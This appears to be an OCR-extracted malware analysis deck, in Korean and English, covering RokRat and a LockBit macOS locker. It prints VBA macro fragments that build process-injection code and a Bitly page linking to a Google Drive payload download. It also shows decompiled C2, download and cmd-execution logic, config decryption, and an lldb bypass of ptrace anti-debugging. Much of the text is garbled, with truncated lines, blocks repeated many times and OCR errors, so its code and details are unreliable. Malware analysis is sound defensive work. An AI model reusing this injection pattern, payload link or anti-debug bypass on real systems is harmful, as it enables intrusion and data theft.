                       Private Declare Function WriteProcessMemory Lib " & Chr(34) & "kernel32" & Chr
vCoded = vCoded & "
                       Private Declare Function CloseHandle Lib " & Chr (34) & "kernel32" & Chr (34) &
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare Function OpenProcess Lib " & Chr(34) & "kernel32" & Chr(34) &
                       Private Declare Function RtlMoveMemory Lib " & Chr(34) & "kernel32" & Chr(34)
vCoded = vCoded & "
                       Private Declare Function CreateRemoteThread Lib " & Chr(34) & "kernel32" & Chr
vCoded = vCoded & "
vCoded = vCoded & "
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                       Private Declare PtrSafe Function GlobalFree Lib " & Chr (34) & "kernel32" & Chr
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare Function CreateProcessA Lib " & Chr(34) & "kernel32" & Chr(34)
```

#### RokRat 악성코드

```
#Windows" 몰데의 경로를 반환
vCoded = vCoded & "
                         windowsDir = FSO.GetSpecialFolder(0)" & vbCrLf
#SysWOW64 notepad.exe >> pact.
vCoded = vCoded & " windowsDir = windowsDir & " & Chr(34) & "\SysWOW64\n
vCoded = vCoded & " ReturnValue = CreateProcessA(0, windowsDir, 0, 0, Fa
vCoded = vCoded & " #Else" & vbCrLf
#notepad.exe >> nach.
vCoded = vCoded & "
                   ReturnValue = CreateProcessA(0, " & Chr(34) & "notep
vCoded = vCoded & " #End If" & vbCrLf
#프로세스 PID 가져온다.
vCoded = vCoded & " PID = proc.dwProcessID" & vbCrLf
vCoded = vCoded & " If PID Then hTargetProcHandle = OpenProcess(PROCESS ALL.
vCoded = vCoded & " dwCodeLen = &H800" & vbCrLf
#함수를 사용하여 프로세스의 가상 주소 공간에서 실행 가능한 모드를 할당
vCoded = vCoded & " shellAddr = VirtualAllocEx(hTargetProcHandle, ByVal 0, d
#GlobalAlloc 함수를 사용하여 코드를 저장할 수 있는 메모리를 할당
vCoded = vCoded & " hGlobalMemory = GlobalAlloc(GMEM FIXED, UBound(shellCode
vCoded = vCoded & " For i = LBound(shellCodel) To UBound(shellCodel) " & vbCr
vCoded = vCoded & " bValue = shellCodel(i)" & vbCrLf
#RtlMoveMemory 함수를 사용하여 코드를 할당한 메모리에 복사
vCoded = vCoded & " rRtlReturn = RtlMoveMemory((hGlobalMemory + i), bVal
vCoded = vCoded & " Next i" & vbCrLf
vCoded = vCoded & " Dim resultWriteProcess" & vbCrLf
#WriteProcessMemory 함수를 사용하여 할당한 메모리에 코드를 작성
vCoded = vCoded & " resultWriteProcess = WriteProcessMemory(hTargetProcHandl
#CreateRemoteThread 함수를 사용하여 원격 프로세스에서 실행할 스레드를 생성
vCoded = vCoded & " hThread = CreateRemoteThread(hTargetProcHandle, ByVal 0,
vCoded = vCoded & " CloseHandle hThread" & vbCrLf
```

- Perform process injection after decrypting ShellCode
- When accessing the shortened URL, redirect to Google Drive and download additionally

```
<html>
<head><title>Bitly</title></head>
<body><a href="https://drive.google.com/uc?export=download&amp;id=1XQwiYeCCV0C-SsP7iPwD5FGSHit5yysv">r</html>
```



#### RokRat 악성코드

```
#Windows" 콜데의 경로를 반환
vCoded = vCoded & "
                          windowsDir = FSO.GetSpecialFolder(0)" & vbCrLf
#SysWOW64 notepad.exe >> pact.
vCoded = vCoded & "
                         windowsDir = windowsDir & " & Chr(34) & "\SysWOW64\n
vCoded = vCoded & "
                       ReturnValue = CreateProcessA(0, windowsDir, 0, 0, Fa
vCoded = vCoded & " #Else" & vbCrLf
#notepad.exe >> naec.
vCoded = vCoded & "
                       ReturnValue = CreateProcessA(0, " & Chr(34) & "notep
vCoded = vCoded & "
                    #End If" & vbCrLf
#프로세스 PID 가져온다.
vCoded = vCoded & "
                     PID = proc.dwProcessID" & vbCrLf
vCoded = vCoded & " If PID Then hTargetProcHandle = OpenProcess(PROCESS ALL.
vCoded = vCoded & " dwCodeLen = &H800" & vbCrLf
#함수를 사용하여 프로세스의 가상 주소 공간에서 실행 가능한 모드를 할당
vCoded = vCoded & " shellAddr = VirtualAllocEx(hTargetProcHandle, ByVal 0, d
#GlobalAlloc 함수를 사용하여 모드를 저장할 수 있는 메모리를 할당
vCoded = vCoded & " hGlobalMemory = GlobalAlloc(GMEM FIXED, UBound(shellCode
vCoded = vCoded & " For i = LBound(shellCodel) To UBound(shellCodel) " & vbCr
vCoded = vCoded & "
                       bValue = shellCodel(i)" & vbCrLf
#RtlMoveMemory 함수를 사용하여 코드를 할당한 메모리에 복사
vCoded = vCoded & "
                    rRtlReturn = RtlMoveMemory((hGlobalMemory + i), bVal
vCoded = vCoded & " Next i" & vbCrLf
vCoded = vCoded & "
                   Dim resultWriteProcess" & vbCrLf
#WriteProcessMemory 함수를 사용하여 할당한 메모리에 코드를 작성
vCoded = vCoded & " resultWriteProcess = WriteProcessMemory(hTargetProcHandl
#CreateRemoteThread 함수를 사용하여 원격 프로세스에서 실행할 스레드를 생성
vCoded = vCoded & " hThread = CreateRemoteThread(hTargetProcHandle, ByVal 0,
vCoded = vCoded & " CloseHandle hThread" & vbCrLf
```

- Perform process injection after decrypting ShellCode
- When accessing the shortened URL, redirect to Google Drive and download additionally

```
<html>
<head><title>Bitly</title></head>
<body><a href="https://drive.google.com/uc?export=download&amp;id=1XQwiYeCCV0C-SsP7iPwD5FGSHit5yysv">#
</html>
```



RokRat 악성코드



(file name using system time) file creation

```
TempPathA = GetTempPathA(0xC4u, Buffer);
GetSystemTime(&SystemTime);
wHour = SystemTime.wHour;
wMinute = SystemTime.wMinute;
Buffer[TempPathA] = SystemTime.wDay % 26 + 65;
Buffer[TempPathA + 1] = wHour % 26 + 97;
Buffer[TempPathA + 2] = wMinute / 12 + 102;
Buffer[TempPathA + 3] = SystemTime.wYear % 26 + 65;
v3 = TempPathA + 4;
if ( v3 < 0xC4 )
{
    Buffer[v3] = 0;
    FileA = CreateFileA(Buffer, 0x40000000u, 3u, 0, 1u, 0x80u, 0);
    if ( FileA != (HANDLE)-1 )
        CloseHandle(FileA);</pre>
```



RokRat 악성코드




(file name using system time) file creation

```
TempPathA = GetTempPathA(0xC4u, Buffer);
GetSystemTime(&SystemTime);
wHour = SystemTime.wHour;
wMinute = SystemTime.wMinute;
Buffer[TempPathA] = SystemTime.wDay % 26 + 65;
Buffer[TempPathA + 1] = wHour % 26 + 97;
Buffer[TempPathA + 2] = wMinute / 12 + 102;
Buffer[TempPathA + 3] = SystemTime.wYear % 26 + 65;
v3 = TempPathA + 4;
if ( v3 < 0xC4 )
{
    Buffer[v3] = 0;
    FileA = CreateFileA(Buffer, 0x40000000u, 3u, 0, 1u, 0x80u, 0);
    if ( FileA != (HANDLE)-1 )
        CloseHandle(FileA);</pre>
```






- Collect user information and file names
- Collect SystemBiosVersion







- Collect user information and file names
- Collect SystemBiosVersion





● RokRat 악성코드

Generates a 32 Byte size random key value.


```
sub_8DBA50((int)&unk_945658, (int)L"%04X%04X%08X", v3);
for ( i = 0; i < 31; ++i )
{
   byte_945610[i] = (rand() & 0xEE) + 1;
   byte_945680[i] = (rand() & 0xEE) + 1;
}</pre>
```



RokRat 악성코드

Generates a 32 Byte size random key value.

```
sub_8DBA50((int)&unk_945658, (int)L"%04X%04X%08X", v3);
for ( i = 0; i < 31; ++i )
{
   byte_945610[i] = (rand() & 0xEE) + 1;
   byte_945680[i] = (rand() & 0xEE) + 1;
}</pre>
```





```
00AFF6E4 43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73 C:\Program Files
00AFF6F4 5C 56 4D 77 61 72 65 5C 56 4D 77 61 72 65 20 54 \WMware\VMware T
00AFF704 6F 6F 6C 73 5C 76 6D 74 6F 6F 6C 73 64 2E 65 78
00AFF714 65 19 BA 75 AB AB AB AB AB 4C 1E D6 77 BA 19 BA 75 e.°u««««L.Öw°.°u
```

- Gather VMware information
- Command code and data download

```
68 CC989300
                         push ca6d92c582a883378f7f3a95cb408415.939BCC
                                                                                   939BCC: L"pub'
                         push ca6d92c582a883378f7f3a95cb408415.9398D4
                                                                                   939BD4:L"sda"
68 D49B9300
                         push ca6d92c582a883378f7f3a95cb408415.9398E0
                                                                                   939BEO: L"BXuaZRLdYMAIo8t5ZdgYuA7ZCfNKHVkbtH75HyXEURwepL8TF17)
68 E09B9300
                         mov ecx, ca6d92c582a883378f7f3a95cb408415,947FE0
C705 A0569400 0000000 mov dword ptr ds:[9456A0],0
E8 5793FFFF call ca6d92c562a883378f7f3a95cb408415.8E5DF0
A1 E07F9400
                         mov eax, dword ptr ds: [947FE0]
83F8 01
                        cmp eax.1
jne ca6d92c562a883378f7f3a95cb408415.8ECAAB
75 08
                        mov ecx,dword ptr ds:[948044]
jmp ca6d92c582a88337877f3a95cb408415.8ECADO
8B00 44809400
EB 25
                         cmp eax,2
jne ca6d92c582a883378f7f3a95cb408415.8ECAB8
83F8 02
75 08
                        mov ecx,dword ptr ds:[948048]
jmp ca6d92cs82a88337877f3a95cb408415.8ECAD0
8800 48809400
EB 18
83F8 03
```



```
00AFF6E4 43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73 C:\Program Files
00AFF6F4 5C 56 4D 77 61 72 65 5C 56 4D 77 61 72 65 20 54 \VMware\VMware T
00AFF704 6F 6F 6C 73 5C 76 6D 74 6F 6F 6C 73 64 2E 65 78 ools\vmtoolsd.ex
00AFF714 65 19 BA 75 AB AB AB AB AB 4C 1E D6 77 BA 19 BA 75 e.°u««««L.Öw°.°u
```



```
00AFF734 80 00 00 00 1C F8 AF 00 77 99 87 00 81 99 87 00 ....0 .w.....0
00AFF744 E7 07 04 00 48 41 52 44 57 41 52 45 5C 44 45 53 C...HARDWARE\DES
00AFF754 43 52 49 50 54 49 4F 4E 5C 53 79 73 74 65 6D 00 CRIPTION\System.
00AFF764 70 70 44 61 74 61 5C 4C 6F 63 61 6C 5C 54 65 6D ppData\Local\Tem
00AFF774 70 5C 41 6A 6A 56 00 00 53 79 73 74 65 6D 42 69 p\Ajjv..SystemBi
00AFF784 6F 73 56 65 72 73 69 6F 6E 02 00 00 00 00 00 00 osVersion.....
```

- Gather VMware information
- Command code and data download

```
68 CC989300
                         push ca6d92c582a883378f7f3a95cb408415.939BCC
                                                                                   939BCC: L"pub'
                         push ca6d92c582a883378f7f3a95cb408415.9398D4
68 D4989300
                                                                                   939BD4:L"sda"
                         push ca6d92c582a883378f7f3a95cb408415.9398E0
                                                                                   939BEO: L"BXuaZRLdYMAIo8t5ZdgYuA7ZCfNKHVkbtH75HyXEURwepL8TF17)
68 E09B9300
                         mov ecx, ca6d92c582a883378f7f3a95cb408415.947FE0
C705 A0569400 0000000 mov dword ptr ds:[9456A0],0
E8 5793FFFF call ca6d92c562a883378f7f3a95cb408415.8E5DF0
A1 E07F9400
                         mov eax, dword ptr ds: [947FE0]
83F8 01
                        cmp eax.1
jne ca6d92c562a883378f7f3a95cb408415.8ECAAB
75 08
                        mov ecx,dword ptr ds:[948044]
jmp ca6d92c582a88337877f3a95cb408415.8ECADO
8B00 44809400
EB 25
                         cmp eax,2
jne ca6d92c582a883378f7f3a95cb408415.8ECAB8
83F8 02
75 08
                        mov ecx,dword ptr ds:[948048]
jmp ca6d92cs82a88337877f3a95cb408415.8ECAD0
8800 48809400
EB 18
83F8 03
```



```
00AFF6E4 43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73 C:\Program Files
00AFF6F4 5C 56 4D 77 61 72 65 5C 56 4D 77 61 72 65 20 54 \\Mware\VMware T
00AFF704 6F 6F 6C 73 5C 76 6D 74 6F 6F 6C 73 64 2E 65 78 ools\vmtoolsd.ex
00AFF714 65 19 BA 75 AB AB AB AB AB 4C 1E D6 77 BA 19 BA 75 e.°u««««L.Öw°.°u
```

- Gather VMware information
- Command code and data download

```
push ca6d92c582a883378f7f3a95cb408415.939BCC
push ca6d92c582a883378f7f3a95cb408415.9398D4
68 CC989300
                                                                                        939BCC: L"pub'
68 D4989300
                                                                                         939BD4:L"sda"
                          push ca6d92c582a883378f7f3a95cb408415.9398E0
                                                                                         939BEO: L"BXuaZRLdYMAIo8t5ZdgYuA7ZCfNKHVkbtH75HyXEURwepL8TF17)
68 E09B9300
                          mov ecx, ca6d92c582a883378f7f3a95cb408415.947FE0
C705 A0569400 0000000 mov dword ptr ds:[9456A0],0
E8 5793FFFF call ca6d92c562a883378f7f3a95cb408415.8E5DF0
A1 E07F9400
                          mov eax, dword ptr ds: [947FE0]
83F8 01
                          cmp eax.1
jne ca6d92c562a883378f7f3a95cb408415.8ECAAB
75 08
                          mov ecx,dword ptr ds:[948044]
jmp ca6d92c582a88337877f3a95cb408415.8ECADO
8B00 44809400
EB 25
                          cmp eax,2
jne ca6d92c562a883378f7f3a95cb408415.8ECA88
83F8 02
75 08
                          mov ecx,dword ptr ds:[948048]
jmp ca6d92cs82a88337877f3a95cb408415.8ECAD0
8800 48809400
EB 18
83F8 03
```



```
if (!WinHttpCrackUrl(v13, *(_DWORD *)(v3 + 24), 0, &UrlComponents))
goto LABEL_181;
sub_BE1550(pswzServerName);
v14 = WinHttpConnect(*(HINTERNET *)v3, pswzServerName, UrlComponents.nPort, 0);// HTTP 세션에 대한 HINTERNET 연결 핸들을 반환
v100 = v14;
if (!v14 )
goto LABEL_181;
v15 = 0;
if ( UrlComponents.nScheme == INTERNET_SCHEME_GOPHER )
v15 = 0x800000;
v16 = (const WCHAR *)pwszVerb;
if ( v90 >= 8 )
v16 = pwszVerb[0];
v17 = WinHttpOpenRequest(v14, v16, (LPCWSTR)UrlComponents.lpszUrlPath, 0, 0, 0, v15);
```

```
cmp dword ptr ds:[es1+1C],8
mov dword ptr ss:[ebp-10C],eax
jb ca6d92c582a883378f7f3a95cb408415.8EDD5F
72 05
8846 08
                                    mov eax,dword ptr ds:[es1+8]
jmp ca6d92C582a883378F75a95cb408415.8EDD62
lea eax,dword ptr ds:[es1+8]
lea ecx,dword ptr ds:[ebp-114]
FF76 18
                                     push dword ptr ds:[esi+18]
 FF15 38C29200
                                      call dword ptr ds:[<&WinHttpCrackUrl>]
                                     test eax, eax
je ca6d92c582a883378f7f3a95cb408415.8EE908
lea eax, dword ptr ss:[ebp-554]
 8D85 ACFAFFFF
                                     lea ecx,dword ptr ds:[esi+20]
call ca6d92c582a883378f7f3a95cb408415.8E1550
8D4E 20
E8 C537FFFF
53
FFB5 04FFFFFF
                                     push dword ptr ss:[ebp-FC]
lea eax,dword ptr ss:[ebp-554]
                                    push dword ptr ds:[es1]
call dword ptr ds:[<&WinHttpConnect>]
                                                                                                                          edx:&L"/7E135CFA0037BE14"
88D0
8955 E4
85D2
                                     mov edx,eax
mov dword ptr ss:[ebp-1C],edx
test edx,edx
```

- Gather VMware information
- Command code and data download

```
| Safe |
```

```
mov edi, edi
push ebp
mov ebp, esp
push 0 ; enum _crt_exit_return_mode
push 0 ; enum _crt_exit_cleanup_mode
push | ebp+fileName| ; uexitCode
call | common_exit@p/AUNA4_crt_exit_cleanup_mode@push | esp, 0Ch
pop ebp
```



```
if (!winHttpCrackUrl(v13, *(_DWORD *)(v3 + 24), 0, &UrlComponents))
goto LABEL_181;
sub_8E1550(pswzServerName);
v14 = WinHttpConnect(*(HINTERNET *)v3, pswzServerName, UrlComponents.nPort, 0);// HTTP 세션에 대한 HINTERNET 연결 핸들을 반환
v100 = v14;
if (!v14)
goto LABEL_181;
v15 = 0;
if ( UrlComponents.nScheme == INTERNET_SCHEME_GOPHER )
v15 = 0x800000;
v16 = (const WCHAR *)pwszVerb;
if ( v90 >= 8 )
v16 = pwszVerb[0];
v17 = WinHttpOpenRequest(v14, v16, (LPCWSTR)UrlComponents.lpszUrlPath, 0, 0, 0, v15);
```

```
cmp dword ptr ds:[esi+1C],8
mov dword ptr ss:[esp-1OC],eax
jb ca6d92c582a883378f7f3a95cb40
                                   mov eax,dword ptr ds:[es1+8]
jmp ca6d92C582a883378F75a95cb408415.8EDD62
lea eax,dword ptr ds:[es1+8]
lea ecx,dword ptr ds:[ebp-114]
FF76 18
                                     push dword ptr ds:[esi+18]
FF15 38C29200
                                     call dword ptr ds:[<&WinHttpCrackUrl>]
                                    test eax, eax
je ca6d92c582a883378f7f3a95cb408415.8EE908
lea eax, dword ptr ss:[ebp-554]
OF84 8C0B0000
 8D85 ACFAFFFF
                                    lea ecx,dword ptr ds:[esi+20]
call ca6d92c582a883378f7f3a95cb408415.8E1550
8D4E 20
E8 C537FFFF
53
FFB5 04FFFFFF
                                     push dword ptr ss:[ebp-FC]
lea eax,dword ptr ss:[ebp-554]
                                    push dword ptr ds:[esi]
call dword ptr ds:[<&WinHttpConnect>]
                                                                                                                          edx:&L"/7E135CFA0037BE14"
88D0
8955 E4
85D2
                                    mov edx,eax
mov dword ptr ss:[ebp-1C],edx
test edx,edx
```

- Gather VMware information
- Command code and data download

```
        008EAE81
008EAE83
008EAE83
008EAE85
008EAE87
008EAE87
008EAE87
008EAE89
008EAE89
008EAE90
008EAE90
008EAE94
008EAE98
008EAE94
008EAE98
008EAE94
008EAE98
008EAE98
008EAE98
008EAE98
008EAE99
008EAE99
008EAE99
008EAE99
008EAE98
        xor edi,edi
cmp al,30
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
30:'0'
62:'b'
62:'b'
62:'b'
62:'b'
62:'b'
64:'d'
64:'d'
```

```
mov edi, edi
push ebp
mov ebp, esp
push 0 ; enum _crt_exit_return_mode
push 0 ; enum _crt_exit_cleanup_mode
push | ebp+FileName| ; uExitCode

call | common exit(@P/ANGM4_crt_exit_cleanup_mode@@M4_crt_exit_return_mode@@M7_; common_exit(int,_crt_exit_cleanup_mode,_crt_exit_return_mode)
pop ebp
```



#### RokRat 악성코드

```
if (!winHttpCrackUrl(v13, *(_DWORD *)(v3 + 24), 0, &UrlComponents))
goto LABEL_181;
sub_8E1559(psw2ServerName);
v14 = WinHttpConnect(*(HINTERNET *)v3, psw2ServerName, UrlComponents.nPort, 0);// HTTP 세션에 대한 HINTERNET 연결 핸들을 반환
v100 = v14;
if (!v14)
goto LABEL_181;
v15 = 0;
if (UrlComponents.nScheme == INTERNET_SCHEME_GOPHER)
v15 = 0x800000;
v16 = (const WCHAR *)pwszVerb;
if ( v90 >= 8)
v16 = pwszVerb[0];
v17 = WinHttpOpenRequest(v14, v16, (LPCWSTR)UrlComponents.lpszUrlPath, 0, 0, 0, v15);
```

```
cmp dword ptr ds:[es1+1C],8
mov dword ptr ss:[ebp-10C],eax
jb ca6d92c582a883378f7f3a95cb408415.8EDD5F
72 05
8846 08
                                    mov eax,dword ptr ds:[es1+8]
jmp ca6d92C582a883378F75a95cb408415.8EDD62
lea eax,dword ptr ds:[es1+8]
lea ecx,dword ptr ds:[ebp-114]
FF76 18
                                     push dword ptr ds:[esi+18]
 FF15 38C29200
                                     call dword ptr ds:[<&WinHttpCrackUrl>]
                                     test eax, eax
je ca6d92c582a883378f7f3a95cb408415.8EE908
lea eax, dword ptr ss:[ebp-554]
 8D85 ACFAFFFF
                                     lea ecx,dword ptr ds:[esi+20]
call ca6d92c582a883378f7f3a95cb408415.8E1550
8D4E 20
E8 C537FFFF
53
FFB5 04FFFFFF
                                     push dword ptr ss:[ebp-FC]
lea eax,dword ptr ss:[ebp-554]
                                    push dword ptr ds:[esi]
call dword ptr ds:[<&WinHttpConnect>]
                                                                                                                          edx:&L"/7E135CFA0037BE14"
88D0
8955 E4
85D2
                                     mov edx,eax
mov dword ptr ss:[ebp-1C],edx
test edx,edx
```

- Gather VMware information
- Command code and data download

```
mov edi, edi

push ebp

mov ebp, esp

push 0 ; enum crt_exit_return_mode

push 0 ; enum _crt_exit_cleanup_mode

push [ebp+fileName] ; uExitCode

call ?common_exit@8/AXM6M4_crt_exit_cleanup_mode@6667; common_exit(int,_crt_exit_cleanup_mode,_crt_exit_return_mode

add esp, 8Ch

pop ebp
```



#### RokRat 악성코드

```
if ( 'WinHttpCrackUrl(v13, *(_DWORD *)(v3 + 24), 0, &UrlComponents) )
goto LABEL_181;
sub_8E1550(pswzServerName);
v14 = WinHttpConnect(*(HINTERNET *)v3, pswzServerName, UrlComponents.nPort, 0);// HTTP 세션에 대한 HINTERNET 연결 핸들을 반환
v100 = v14;
if ( !v14 )
goto LABEL_181;
v15 = 0;
if ( UrlComponents.nScheme == INTERNET_SCHEME_GOPHER )
v15 = 0x800000;
v16 = (const WCHAR *)pwszVerb;
if ( 'y00 >= 8 )
v16 = pwszVerb[0];
v17 = WinHttpOpenRequest(v14, v16, (LPCWSTR)UrlComponents.lpszUrlPath, 0, 0, 0, v15);
```

```
cmp dword ptr ds:[es1+1C],8
mov dword ptr ss:[ebp-10C],eax
jb ca6d92c582a883378f7f3a95cb408415.8EDD5F
 837E 1C 08
8985 F4FEFFFF
72 05
8846 08
                                    mov eax,dword ptr ds:[es1+8]
jmp ca6d92C582a883378F75a95cb408415.8EDD62
lea eax,dword ptr ds:[es1+8]
lea ecx,dword ptr ds:[ebp-114]
53
FF76 18
                                     push dword ptr ds:[esi+18]
 FF15 38C29200
                                      call dword ptr ds:[<&WinHttpCrackUrl>]
                                     test eax, eax
je ca6d92c582a883378f7f3a95cb408415.8EE908
lea eax, dword ptr ss:[ebp-554]
 8D85 ACFAFFFF
                                     lea ecx,dword ptr ds:[esi+20]
call ca6d92c582a883378f7f3a95cb408415.8E1550
8D4E 20
E8 C537FFFF
53
FFB5 04FFFFFF
                                     push dword ptr ss:[ebp-FC]
lea eax,dword ptr ss:[ebp-554]
                                    push dword ptr ds:[es1]
call dword ptr ds:[<&WinHttpConnect>]
                                                                                                                          edx:&L"/7E135CFA0037BE14"
88D0
8955 E4
85D2
                                     mov edx,eax
mov dword ptr ss:[ebp-1C],edx
test edx,edx
```

- Gather VMware information
- Command code and data download

```
008EAE81 33FF xor edi,edi cmp al,30 30:0° cmp al,62 cmp al,64 cmp
```



```
mov edi, edi
push ebp
mov ebp, esp
push 0 ; enum _crt_exit_return_mode
push 0 ; enum _crt_exit_cleanup_mode
push | ebp+fileName| ; uexitCode

call | common exit@P/AUNH4 crt_exit_cleanup_mode@BH4 crt_exit_return_mode@BHZ; common_exit(int,_crt_exit_cleanup_mode,_crt_exit_return_mode)
add esp, OCh
pop ebp
```




#### RokRat 악성코드

Gather VMware informationCommand code and data download

esp, 4 text:008EB688 add al, [ebp+szUrl] text:008EB68B mov text:008EB691 al, 31h; '1' jz loc 8EB85D text:008EB693 al, 32h; '2' text:008EB699 jz loc 8EB85D text:008EB69B al, 35h; '5' text:008EB6A1 jz loc 8EB85D text:008EB6A3 al, 36h; '6' text:008EB6A9 text:008EB6AB jz loc 8EB85D text:008EB6B1 al, 33h; '3' short loc 8EB723 jz text:008EB6B3 al, 34h; '4' text:008EB6B5 short loc 8EB723 text:008EB6B7 al, 37h; '7' text:008EB6B9 short loc 8EB723 text:008EB6BB al, 38h; '8' text:008EB6BD short loc 8EB723 text:008EB6BF al, 39h; '9' text:008EB6C1 short loc\_8EB723 text:008EB6C3 al, 65h; 'e' text:008EB6C5 short loc 8EB706 text:008EB6C7 eax, [ebp+szUrl+1] text:008EB6C9 lea

Input	explanation
1,2,5,6	Access the URL and download the binary
3,4,7,8,9	XOR decrypts the received encrypted data with a 32-byte key value generated by a random key to generate an Access Token value and set it as a cloud access authentication value
е	Execute the received command using cmd





LockBit Malware Analyze



● locker\_Apple\_M1\_64 악성코드





● locker\_Apple\_M1\_64 악성코드

```
// pid
v5 = getppid();
if ( ptrace(31, v5, 0LL, 0) == -1 )
                                              // ptrace
 goto LABEL 15;
memcpy(&g Config, &apple_config, 0x2468uLL);
for ( i = OLL; i != 9304; ++i )
 *(( BYTE *)&g Config + i + 16) ^= *(( BYTE *)&g Config + (i & 0xF));
iMinfilesize = 16LL;
bdaemon = 1;
bSelfRemove = (unsigned int16)word 10005909C;
publickey = (__int64)&unk_100059482;
idelayinmin = dword 1000590A0;
wholefile = word 1000590A4 != 0;
bfullog = (unsigned int16)word 1000590A6;
bnostop = word 1000590A8 != 0;
noext = (unsigned __int16)word_1000590AA;
no log = word 1000590AC != 0;
v7 = (unsigned int16)*(&word_10005909C + 4651);
bwipe = word 10005909E != 0;
bVMDKmode = v7;
iSpotMaximum = unk 1000590AE;
strncpy(&start_from_dir, asc_100059082, 0x400uLL);
v8 = time(OLL);
srand(v8);
v9 = xor val;
                                              // v9 = 0x39
v10 = &locker_pid;
```

- Getppid, Ptrace
- Anti-Debugging

```
0x10000b0f4 <+32>:
                            x20, x0
                    mov
0x10000b0f8 <+36>:
                    nop
0x10000b0fc <+40>:
                     ldr
                            x8, #0x44f0c
                                                      ; (void *)0x00000001f7029798: __stack_chk_guard
0x10000b100 <+44>:
                            x8, [x8]
0x10000b104 <+48>:
                            x8, [sp, #0x178]
                                                      ; symbol stub for: getppid
0x10000b108 <+52>:
                            0x100042834
0x10000b10c <+56>:
                            x1, x0
0x10000b110 <+60>:
                            w0, #0x1f
0x10000b114 <+64>:
                    mov
                            x2, #0x0
0x10000b118 <+68>:
                            w3, #0x0
0x10000b11c <+72>:
                            0x1000429cc
                                                      ; symbol stub for: ptrace
0x10000b120 <+76>:
                    cmn
                            w0, #0x1
                           0x10000b4e8
0x10000b124 <+80>:
                                                      : <+1044>
                    b.ea
0x10000b128 <+84>:
                     adr
                            x21, #0x4df64
                                                      ; g_Config
0x10000b12c <+88>:
                    nop
0x10000b130 <+92>:
                    adr
                            x1, #0x4ced8
                                                      ; apple_config
0x10000b134 <+96>:
0x10000b138 <+100>: mov
                            x0, x21
0x10000b13c <+104>: mov
                            w2, #0x2468
0x10000b140 <+108>: bl
                            0x100042888
                                                      ; symbol stub for: memcpy
```



● locker\_Apple\_M1\_64 악성코드

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                                             // pid
if ( ptrace(31, v5, 0LL, 0) == -1 )
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 goto LABEL 15;
memcpy(&g Config, &apple_config, 0x2468uLL);
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 *(( BYTE *)&g Config + i + 16) ^= *(( BYTE *)&g Config + (i & 0xF));
iMinfilesize = 16LL;
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bSelfRemove = (unsigned int16)word 10005909C;
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idelayinmin = dword 1000590A0;
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bfullog = (unsigned int16)word 1000590A6;
bnostop = word 1000590A8 != 0;
noext = (unsigned int16)word 1000590AA;
no log = word 1000590AC != 0;
v7 = (unsigned int16)*(&word_10005909C + 4651);
bwipe = word 10005909E != 0;
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iSpotMaximum = unk 1000590AE;
strncpy(&start_from_dir, asc_100059082, 0x400uLL);
v8 = time(OLL);
srand(v8);
v9 = xor val;
                                             // v9 = 0x39
v10 = &locker pid;
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                    nop
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                    ldr
                            x8, #0x44f0c
                                                      ; (void *)0x00000001f7029798: __stack_chk_guard
0x10000b100 <+44>:
                            x8, [x8]
0x10000b104 <+48>:
                            x8, [sp, #0x178]
                            0x100042834
                                                      ; symbol stub for: getppid
0x10000b108 <+52>:
0x10000b10c <+56>:
                            x1, x0
0x10000b110 <+60>:
                            w0, #0x1f
0x10000b114 <+64>:
                    mov
                            x2, #0x0
0x10000b118 <+68>:
                            w3, #0x0
0x10000b11c <+72>:
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                                                      ; symbol stub for: ptrace
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0x10000b134 <+96>:
0x10000b138 <+100>: mov
                            x0, x21
0x10000b13c <+104>: mov
                            w2, #0x2468
                                                      ; symbol stub for: memcpy
0x10000b140 <+108>: bl
                            0x100042888
```



● locker\_Apple\_M1\_64 악성코드

Anti-Debugging bypass

```
(lldb) register write w0 0x2
(lldb) register read w0
w0 = 0x00000002
```

```
(void *)0x000000019e09a768: __pthread_canceled
      x18 = 0 \times 000000000000000000
      x19 = 0x000000016fdff638
      x20 = 0 \times 0000000000000000001
      x21 = 0x00000001000c8070 dyld'dyld4::sConfigBuffer
      x22 = 0 \times 0000000000000000000
      x23 = 0 \times 000000000000000000
      x24 = 0 \times 000000000000000000
      x25 = 0 \times 000000000000000000
      x26 = 0 \times 0000000000000000000
      x27 = 0 \times 000000000000000000
      x28 = 0 \times 000000000000000000
       fp = 0x000000016fdff610
       lr = 0x5a3780010000b120 (0x000000010000b120) 3e4bbd21756ae30c24ff7d6942656be024139f8180b7bddd4e5c62a9dfbd8c79`main + 76
       sp = 0 \times 0000000016 fdff2f0
       pc = 0x000000010000b120 3e4bbd21756ae30c24ff7d6942656be024139f8180b7bddd4e5c62a9dfbd8c79 main + 76
     cpsr = 0x60001000
lldb) register read w0
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     cpsr = 0x60001000
lldb) register read w0
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● locker\_Apple\_M1\_64 악성코드

```
a management of the
  data:000000010005908C
                                       EXPORT _g Config
data:000000010005908C g Config
                                       DCB 0xC8
                                                               ; DATA XREF: main+54to
_data:000000010005908D
                                       DCB 0x28 ; (
 data:000000010005908E
                                       DCB 0xEB
 data:000000010005908F
                                       DCB 0x1C
 data:0000000100059090
                                       DCB 0x23 ; #
 data:0000000100059091
                                       DCB 0x5A ; Z
_data:0000000100059092
                                       DCB 0x20 ; -
 data:0000000100059093
                                       DCB 0x7E ; ~
 data:0000000100059094
                                       DCB 0x10
 data:0000000100059095
                                       DCB 0xA8
 data:0000000100059096
                                       DCB 0xED
 data:0000000100059097
                                       DCB 0xA3
 data:0000000100059098
                                       DCB 0x44 ; D
 data:0000000100059099
                                       DCB 0x40 ; @
 data:000000010005909A
                                       DCB 8xA
 data:0000000100059098
                                       DCB 0xCF
```

Inject malicious code into the memory of a vulnerable system

```
data:0000000100058008
                                       EXPORT apple config
data:0000000100058008 apple config
                                      DCB 0x4A ; J
                                                              ; DATA XREF: _main+5Cto
data:0000000100058009
                                       DCB 0xF9
_data:000000010005800A
                                       DCB 0x38 ; 8
_data:0000000100058008
                                       DCB 0xDB
__data:000000010005800C
                                       DCB 0x45 ; E
_data:000000010005800D
                                       DCB 0x1A
__data:000000010005800E
                                       DCB 0x76 ; V
_data:000000010005800F
                                       DCB 0x4F ; 0
_data:0000000100058010
                                       DCB 0xA8
_data:0000000100058011
